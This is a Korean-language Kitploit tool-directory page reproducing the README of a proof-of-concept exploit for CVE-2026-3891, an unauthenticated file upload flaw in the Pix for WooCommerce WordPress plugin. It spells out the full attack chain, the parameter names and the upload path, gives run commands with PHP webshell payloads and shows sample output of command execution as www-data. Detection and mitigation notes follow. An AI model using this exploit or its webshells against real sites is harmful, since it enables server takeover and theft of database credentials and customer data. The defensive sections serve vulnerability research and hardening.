Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3891 — # CVE-2026-3891 PoC – Pix for WooCommerce ≤ 1.5.0의 인증되지 않은 파일 업로드 RCE. 자동화된 nonce 검색, PHP 업로드 및 명령 실행. | Kitploit
도구/GitHubGitHub/ch4120n/cve-2026-3891
ExploitationWeb Application ExploitationPenetration Testing
GitHubch4120n/cve-2026-3891

CVE-2026-3891

# CVE-2026-3891 PoC – Pix for WooCommerce ≤ 1.5.0의 인증되지 않은 파일 업로드 RCE. 자동화된 nonce 검색, PHP 업로드 및 명령 실행.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚀 CVE-2026-3891 – Pix for WooCommerce 인증되지 않은 파일 업로드 RCE

Python Exploit CVE

GitHub stars GitHub issues License

CVE-2026-3891에 대한 개념 증명(PoC) 익스플로잇 – Pix for WooCommerce WordPress 플러그인(≤ 1.5.0)에서 원격 코드 실행으로 이어지는 인증되지 않은 임의 파일 업로드.


📖 개요

CVE-2026-3891은 Pix for WooCommerce 플러그인의 치명적인 취약점으로, 1.5.0까지의 모든 버전에 영향을 미칩니다. 이 플러그인은 AJAX 핸들러 lkn_pix_for_woocommerce_c6_save_settings에서 적절한 권한 및 파일 유형 검사를 수행하지 않습니다. 인증되지 않은 공격자는 이 결함을 악용하여 공개적으로 접근 가능한 디렉터리에 임의의 PHP 파일을 업로드하고 대상 WordPress 서버에서 원격 코드 실행을 달성할 수 있습니다.

이 저장소에는 유효한 논스 가져오기부터 웹셸 업로드까지 전체 공격 체인을 자동화하는 프로덕션급 PoC가 포함되어 있으며, 견고한 오류 처리와 보기 좋은 CLI 인터페이스를 갖추고 있습니다.

🔍 주요 기능

  • 진정한 비인증(unauthenticated) – WordPress 자격 증명이나 세션 쿠키가 필요 없습니다.
  • 자동 논스 추출 – 익스플로잇이 동일한 공개 AJAX 인터페이스를 통해 필요한 보안 논스를 가져옵니다.
  • 멀티파트 파일 업로드 – 취약한 핸들러가 기대하는 certificate_crt_path 파일 파라미터를 올바르게 구성합니다.
  • 직접 URL 생성 – 업로드된 페이로드의 공개 URL을 즉시 제공합니다.
  • 사후 익스플로잇 확인 – 업로드 성공 여부와 즉석 명령 실행(--check)을 선택적으로 검증합니다.
  • 고급 오류 처리 – Cloudflare, WAF, 시간 초과 및 비정상 응답을 우아하게 처리합니다.
  • 깔끔하고 유익한 출력 – 모든 메시지에 [ * ], [ + ], [ - ], [ ! ] 접두사가 붙어 한눈에 읽을 수 있습니다.

🧬 취약점 세부 정보

근본 원인은 플러그인이 등록한 두 개의 AJAX 액션에 있습니다.

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

이 액션은 wp_ajax_nopriv_*에 연결되어 있으므로 인증되지 않은 방문자도 접근할 수 있습니다. lkn_pix_for_woocommerce_c6_settings_nonce 액션에 대한 논스를 생성하고 JSON 형식으로 반환합니다:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

권한 검사나 사용자 인증이 전혀 수행되지 않으므로 누구나 유효한 논스를 요청할 수 있습니다.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

이 핸들러는 certificate_crt_path라는 파일 업로드 필드를 포함한 플러그인 설정을 저장합니다. 업로드는 WordPress의 media_handle_upload 헬퍼를 통해 수행되지만, 플러그인은 다음을 수행하지 않습니다:

  • 요청이 인증되고 권한이 있는 사용자로부터 전송되었는지 확인하지 않음(current_user_can 누락).
  • 파일 유형 또는 확장자 제한을 적용하지 않음(예: .php 파일 허용).
  • 파일을 실행 불가능한 위치에 저장하지 않음 – 파일은 다음 위치에 저장됩니다:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    이 경로는 웹을 통해 직접 접근할 수 있습니다.

논스는 CSRF만 방지하며 누구나 획득할 수 있으므로, 공격자는 이 두 액션을 연쇄적으로 사용하여 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.

영향을 받는 버전

  • Pix for WooCommerce 버전 ≤ 1.5.0
  • 이 취약점은 기본 구성의 깨끗한 WordPress 설치 환경에서 확인되었습니다.

영향

  • 원격 코드 실행 – 웹 서버 권한(일반적으로 www-data 또는 apache)으로 전체 웹셸에 접근할 수 있습니다.
  • 데이터 유출 – wp-config.php, 데이터베이스 자격 증명, 고객 데이터를 읽을 수 있습니다.
  • 지속성 – 핵심 파일을 수정하고 백도어를 설치할 수 있습니다.
  • 사이트 완전 장악 – 데이터베이스에 접근할 수 있으면 WordPress 관리자 권한으로 상승할 수 있습니다.

🛠️ 익스플로잇 요구 사항

  • 대상 WordPress 사이트에 대한 네트워크 접근(인증 불필요).
  • requests 라이브러리가 포함된 Python 3.8+(pip install requests로 설치).
  • 대상에 취약한 플러그인이 설치되어 활성화되어 있어야 합니다(기본 구성으로 충분).

🚀 사용법

설치

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

기본 명령

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

더 세밀한 제어가 필요하면 명령줄 옵션을 사용하세요:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

출력 예시

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

명령줄 옵션


🧪 탐지 및 튜닝을 위한 기술 세부 정보

논스 생성 엔드포인트

  • URL: http://target/wp-admin/admin-ajax.php
  • 액션: lkn_pix_for_woocommerce_generate_nonce
  • 파라미터: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • 응답: {"success":true,"data":{"nonce":"..."}}
  • 참고: 액션이 wp_ajax_nopriv_*로 등록되어 있으므로 논스는 항상 획득 가능합니다. 쿠키나 세션이 필요 없습니다.

파일 업로드 파라미터

  • URL: 동일한 admin-ajax.php
  • 액션: lkn_pix_for_woocommerce_c6_save_settings
  • 필수 필드:
    • _ajax_nonce – 앞서 획득한 논스
    • certificate_crt_path – 멀티파트 파일 업로드(페이로드)
  • 파일 유형: 플러그인이 확장자를 검증하지 않으므로 .php 파일이 허용되며 이름 변경 없이 저장됩니다.

공개 저장 경로

업로드가 성공하면 파일은 다음 위치에 저장됩니다:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

이 디렉터리는 웹에서 직접 접근 가능하며, 웹 서버가 PHP 파일을 처리하도록 구성된 경우(WordPress 관리 서버의 기본 설정) PHP 파일이 실행됩니다.

침해 지표(IoC)

  • certs_c6 디렉터리에 예상치 못한 PHP 파일이 나타남(특히 woocommerce.php, shell.php 등의 파일).
  • 신뢰할 수 없는 IP에서 위에 나열된 액션을 사용한 비정상적인 admin-ajax.php POST 요청.
  • ?cmd=id와 같은 쿼리 파라미터를 포함한 .../certs_c6/ 직접 접근이 기록된 액세스 로그.

🛡️ 탐지 및 완화

탐지

WordPress 로그에서 다음을 모니터링하세요:

  • action=lkn_pix_for_woocommerce_generate_nonce 및 action=lkn_pix_for_woocommerce_c6_save_settings를 사용한 /wp-admin/admin-ajax.php 반복 POST 요청.
  • certs_c6 폴더에 새 파일 생성. 파일 무결성 모니터링 도구(예: Tripwire, OSSEC)를 사용하여 변경 사항을 알림으로 받으세요.
  • 외부 IP에서 해당 디렉터리의 PHP 파일 실행을 보여주는 웹 서버 로그.

완화

  1. 플러그인 업데이트 – 공식 수정 사항이 포함된 1.5.0보다 높은 버전이 있는지 확인하세요(출시된 경우).
  2. 가상 패치 적용 – WAF 규칙(예: ModSecurity, Cloudflare WAF)으로 취약한 AJAX 액션에 대한 접근을 차단하세요.
  3. 파일 실행 제한 – 플러그인이 필요하다면 웹 서버가 certs_c6 디렉터리 내부의 PHP 실행을 거부하도록 구성하세요(예: php_flag engine off가 포함된 .htaccess 사용).
  4. AJAX 핸들러 강화 – 플러그인을 유지보수한다면 두 액션 모두 인증되고 권한이 있는 사용자만 접근할 수 있도록 하세요(논스 생성에는 current_user_can('manage_options'), 업로드에는 적절한 논스 검증 및 권한 검사).
  5. 플러그인 비활성화 – Pix for WooCommerce가 필수가 아니라면 완전히 제거하세요.

👏 크레딧

  • 익스플로잇 개발 및 PoC: Ch4120N
  • 취약점 분석: 독립적인 보안 연구

📄 라이선스

이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

면책 고지: 이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 저자는 이 소프트웨어로 인한 오용이나 피해에 대해 책임을 지지 않습니다.


📚 참고 자료

  • NIST NVD – CVE-2026-3891
  • WordPress Plugin Repository – Pix for WooCommerce (수정된 버전은 변경 로그를 확인하세요)
  • Patchstack / WPScan Vulnerability Database (항목이 존재하는 경우)

⭐ 지원

이 PoC가 유용하다면 GitHub에서 ⭐를 눌러 주시고 책임감 있게 공유해 주세요. 기여, 이슈, 풀 리퀘스트는 언제나 환영합니다!


즐거운 해킹 되세요! 🛡️

도구 다운로드
FlagDescriptionDefault
target (위치 인수)WordPress 사이트의 기본 URL입니다.필수
-f, --filename업로드할 PHP 파일의 이름입니다.woocommerce.php
-p, --payload업로드할 PHP 코드입니다.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeout요청 시간 초과(초)입니다.15
-r, --retries논스 검색의 최대 재시도 횟수입니다.2
--no-bannerASCII 아트를 숨깁니다.(끔)
--no-verify업로드 후 접근 가능 여부 확인을 건너뜁니다.(끔)
--check업로드 후 웹셸에서 id를 실행합니다.(끔)